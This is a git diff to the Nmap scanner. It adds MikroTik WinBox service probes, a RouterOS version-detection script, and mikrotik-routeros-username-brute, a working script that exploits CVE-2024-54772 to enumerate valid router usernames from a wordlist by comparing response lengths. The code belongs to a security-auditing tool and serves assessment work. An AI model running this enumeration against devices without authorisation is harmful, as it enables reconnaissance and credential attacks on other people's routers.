diff --git a/CHANGELOG b/CHANGELOG index 90a4c7ef5..4cda2ffd2 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,5 +1,10 @@ #Nmap Changelog ($Id$); -*-text-*- +o [NSE][GH#2973] New service probes and scripts for MikroTik's WinBox router + admin service. mikrotik-routeros-version queries the 'info' and 'list' files + to get the RouterOS version. mikrotik-routeros-username-brute brute-forces + usernames for the router using CVE-2024-54772. [deauther890, Daniel Miller] + o [GH#2954] Fix 2 potential crashes in parsing IPv6 extension headers discovered using AFL++ fuzzer. [Domen Puncer Kugler, Daniel Miller] diff --git a/nmap-service-probes b/nmap-service-probes index 5fe323a67..a0c258cef 100644 --- a/nmap-service-probes +++ b/nmap-service-probes @@ -16997,6 +16997,20 @@ Probe UDP DHCP_INFORM q|\x01\x01\x06\0\x01\x23\x45\x67\0\0\0\0\xff\xff\xff\xff\0 rarity 8 ports 67 + +##############################NEXT PROBE############################## +# MikroTik WinBox Service Probe for port 8291 (Github: @deauther890) +Probe TCP MikroTik_Winbox q|\x22\x06\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0| +rarity 8 +ports 8291 +match winbox m|^\x21\x06.{32}[\0\x01]$|s p/MikroTik WinBox/ o/MikroTik RouterOS >=6.43/ cpe:/o:mikrotik:routeros/ + +# If no match is found, the probe falls back to the legacy probe. +Probe TCP MikroTik_Winbox_Legacy q|\xf8\x05\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0| +rarity 8 +ports 8291 +match winbox m|^\xf8\x05(?!\0{248}).{248}$|s p/MikroTik WinBox/ i/legacy protocol/ o/MikroTik RouterOS <6.43/ cpe:/o:mikrotik:routeros/ + ##############################NEXT PROBE############################## Probe UDP TFTP_GET q|\0\x01r7tftp.txt\0octet\0| rarity 8 diff --git a/scripts/mikrotik-routeros-username-brute.nse b/scripts/mikrotik-routeros-username-brute.nse new file mode 100644 index 000000000..d9bae7af1 --- /dev/null +++ b/scripts/mikrotik-routeros-username-brute.nse @@ -0,0 +1,138 @@ +description = [[ +Attempts to enumerate valid usernames on MikroTik devices running the Winbox service on port 8291 in MikroTik-RouterOS. + +This script takes a wordlist from the user and modifies a baseline payload by +adding the username to it. If the server responds with 35 bytes, the username +is invalid; if the response is 51 bytes, the username is valid. +]] + +author = "deauther890" +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"intrusive", "discovery"} + +---@usage +-- nmap -p 8291 --script mikrotik-routeros-username-brute --script-args=wordlist= +-- @args mikrotik-routeros-username-brute.wordlist A file with usernames to try, one per line. + +--@Note +-- This script uses a new tcp session for every username because the router +-- doesn't respond to usernames after sending 3 tries within the same tcp session! + +-- Import required libraries +local io = require "io" +local table = require "table" +local oops = require "oops" +local shortport = require "shortport" +local nmap = require "nmap" +local stdnse = require "stdnse" +local string = require "string" + +-- Define the port rule +portrule = shortport.port_or_service(8291, "winbox", "tcp") + +-- Define the Driver for socket handling +Driver = { + new = function(self, host, port) + local o = { host = host, port = port } + setmetatable(o, self) + self.__index = self + return o + end, + + connect = function(self) + self.s = nmap.new_socket() + self.s:set_timeout(stdnse.get_timeout(self.host)) + return self.s:connect(self.host, self.port, "tcp") + end, + + send_payload = function(self, payload) + local try = nmap.new_try(function() return false end) + try(self.s:send(payload)) + return try(self.s:receive_bytes(35)) + end, + + disconnect = function(self) + if self.s then + self.s:close() + end + end, +} + +-- Read usernames from a wordlist file provided by the user +local function read_wordlist(file_path) + local wordlist = {} + local f, err = io.open(file_path, "r") + + if not f then + stdnse.print_debug("Error opening wordlist: %s", err) + return nil + end + + for line in f:lines() do + table.insert(wordlist, line:match("^%s*(.-)%s*$")) -- Remove leading and trailing whitespaces + end + + f:close() + return wordlist +end + +-- Function to create the payload +local function create_payload(username) + local payload = username .. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + return string.char(#payload) .. "\x06" .. payload + +end + +local wordlist_path = stdnse.get_script_args(SCRIPT_NAME .. ".wordlist") +-- Main action function +action = function(host, port) + if not wordlist_path then + return oops.err("No wordlist provided. Use --script-args=".. SCRIPT_NAME .. ".wordlist=") + end + + local usernames = read_wordlist(wordlist_path) + if not usernames then + return "Failed to read the wordlist." + end + + local valid_usernames = {} + + local driver = Driver:new(host, port) + + local retry = 0 + for _, username in ipairs(usernames) do + ::try_again:: + if not driver:connect() then + if retry <= 0 then + return "Failed to connect to the target." + end + stdnse.print_debug("Failed to reconnect for username: %s", username) + retry = retry - 1 + stdnse.sleep(0.5) + goto try_again + else + retry = 1 + local payload = create_payload(username) + stdnse.print_debug("Sending payload for username: %s", username) + local success, response = pcall(driver.send_payload, driver, payload) + if success and response then + local response_length = #response + stdnse.print_debug("Response length for username %s: %d", username, response_length) + if response_length == 51 then + table.insert(valid_usernames, username) + end + end + stdnse.sleep(0.5) -- Delay between requests + -- Terminate the current connection and attempt to reconnect + driver:disconnect() + end + end + + driver:disconnect() + + if #valid_usernames > 0 then + return valid_usernames + else + return "No valid usernames found." + end +end diff --git a/scripts/mikrotik-routeros-version.nse b/scripts/mikrotik-routeros-version.nse new file mode 100644 index 000000000..7b555ad9c --- /dev/null +++ b/scripts/mikrotik-routeros-version.nse @@ -0,0 +1,238 @@ +description = [[ +Detects MikroTik RouterOS version from devices running the Winbox service on port 8291. + +This script attempts to send a specific payload to elicit a response containing the version information. + +The provided payload can be used for all RouterOs versions until 6.49.17. Though version 7.1+ are not supported +]] + +author = {"deauther890", "Daniel Miller"} +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"default", "version", "discovery", "safe"} + +---@usage +-- nmap -p 8291 --script mikrotik-routeros-version + +---@output +--| mikrotik-routeros-version: +--| index: +--| advtool.dll 6.49.7 +--| secure.dll 6.49.7 +--| dhcp.dll 6.49.7 +--| ppp.dll 6.49.7 +--| roting4.dll 6.49.7 +--| mpls.dll 6.49.7 +--| hotspot.dll 6.49.7 +--| wlan6.dll 6.49.7 +--| roteros.dll 6.49.7 +--| system.dll 6.49.7 +--| +--| list: +--| advtool.jg 6.49.7 +--| secure.jg 6.49.7 +--| dhcp.jg 6.49.7 +--| ppp.jg 6.49.7 +--| roting4.jg 6.49.7 +--| mpls.jg 6.49.7 +--| hotspot.jg 6.49.7 +--| wlan6.jg 6.49.7 +--|_roteros.jg 6.49.7 + +---@xmloutput +-- +--
+-- +-- advtool.dll +-- 6.49.7 +--
+-- +-- secure.dll +-- 6.49.7 +--
+-- +-- dhcp.dll +-- 6.49.7 +--
+-- +-- ppp.dll +-- 6.49.7 +--
+-- +-- roting4.dll +-- 6.49.7 +--
+-- +-- mpls.dll +-- 6.49.7 +--
+-- +-- hotspot.dll +-- 6.49.7 +--
+-- +-- wlan6.dll +-- 6.49.7 +--
+-- +-- roteros.dll +-- 6.49.7 +--
+-- +-- system.dll +-- 6.49.7 +--
+-- 12 +-- +-- +--
+-- +-- advtool.jg +-- 6.49.7 +--
+-- +-- secure.jg +-- 6.49.7 +--
+-- +-- dhcp.jg +-- 6.49.7 +--
+-- +-- ppp.jg +-- 6.49.7 +--
+-- +-- roting4.jg +-- 6.49.7 +--
+-- +-- mpls.jg +-- 6.49.7 +--
+-- +-- hotspot.jg +-- 6.49.7 +--
+-- +-- wlan6.jg +-- 6.49.7 +--
+-- +-- roteros.jg +-- 6.49.7 +--
+-- 11 +-- + +local shortport = require "shortport" +local nmap = require "nmap" +local stdnse = require "stdnse" +local string = require "string" +local match = require "match" +local tab = require "tab" +local table = require "table" + +portrule = shortport.version_port_or_service(8291, "winbox", "tcp") + +Driver = { + new = function(self, host, port) + local o = { host = host, port = port } + setmetatable(o, self) + self.__index = self + return o + end, + + connect = function(self) + self.s = nmap.new_socket() + self.s:set_timeout(stdnse.get_timeout(self.host)) + return self.s:connect(self.host, self.port, "tcp") + end, + + send_payload = function(self, payload) + local try = nmap.new_try(function() return false end) + try(self.s:send(payload)) + local head = try(self.s:receive_buf(match.numbytes(20), true)) + stdnse.debug1("header: %s", stdnse.tohex(head)) + -- response length is 2 bytes at position 15 + local len = string.unpack(">i2", head, 15) + if len < 0 then + -- clear out the receive buffer + try(self.s:receive_buf(".*", true)) + return nil + end + local body = try(self.s:receive_buf(match.numbytes(len), true)) + -- Sometimes extra bytes are added indicating how many bytes remain + local junk + body, junk = body:gsub(".%\xff", "") + if junk <= 0 then + return body + end + -- Grab the remainder, since junk bytes took up some. + return body .. try(self.s:receive_buf(match.numbytes(junk * 2), true)) + end, + + disconnect = function(self) + if self.s then + self.s:close() + end + end, +} + +action = function(host, port) + local driver = Driver:new(host, port) + + local success, result + local output = stdnse.output_table() + local version + + local attempts = { + { + name = "index", + payload = "\x13\x02index\x00\x00\x00\x00\x00\x00\x00\xff\xed\x00\x00\x00\x00\x00", + pattern = "(%w+%.dll) ([%d.]+)", + }, + { + name = "list", + payload = "\x13\x02list\x00\x00\x00\x00\x00\x00\x00\x00\xff\xed\x00\x00\x00\x00\x00", + pattern = 'name: "([^"]+)", unique: "[^"]+", version: "([^"]+)"', + }, + } + for _, att in ipairs(attempts) do + success, result = driver:connect() + + if success then + + stdnse.debug1("Sending payload") + success, result = pcall(driver.send_payload, driver, att.payload) + driver:disconnect() + + if success and result then + stdnse.debug1("Received response: %s", stdnse.tohex(result:sub(1,30))) + local t = tab.new() + local decoded = false + tab.nextrow(t) + string.gsub(result, att.pattern, function(dll, ver) + decoded = true + version = ver + tab.addrow(t, dll, ver) + end) + if decoded then + output[att.name] = t + end + end + end + end + + if not version then + return nil + end + + port.version.name = "winbox" + port.version.name_confidence = 10 + port.version.product = "MikroTik WinBox" + port.version.ostype = ("RouterOS %s"):format(version) + table.insert(port.version.cpe, ("cpe:/o:mikrotik:routeros:%s"):format(version)) + table.insert(port.version.cpe, "cpe:/a:mikrotik:winbox") + nmap.set_port_version(host, port) + return output +end diff --git a/scripts/script.db b/scripts/script.db index b4b03cfee..899a6207f 100644 --- a/scripts/script.db +++ b/scripts/script.db @@ -348,6 +348,8 @@ Entry { filename = "metasploit-info.nse", categories = { "intrusive", "safe", } Entry { filename = "metasploit-msgrpc-brute.nse", categories = { "brute", "intrusive", } } Entry { filename = "metasploit-xmlrpc-brute.nse", categories = { "brute", "intrusive", } } Entry { filename = "mikrotik-routeros-brute.nse", categories = { "brute", "intrusive", } } +Entry { filename = "mikrotik-routeros-username-brute.nse", categories = { "discovery", "intrusive", } } +Entry { filename = "mikrotik-routeros-version.nse", categories = { "default", "discovery", "safe", "version", } } Entry { filename = "mmouse-brute.nse", categories = { "brute", "intrusive", } } Entry { filename = "mmouse-exec.nse", categories = { "intrusive", } } Entry { filename = "modbus-discover.nse", categories = { "discovery", "intrusive", } }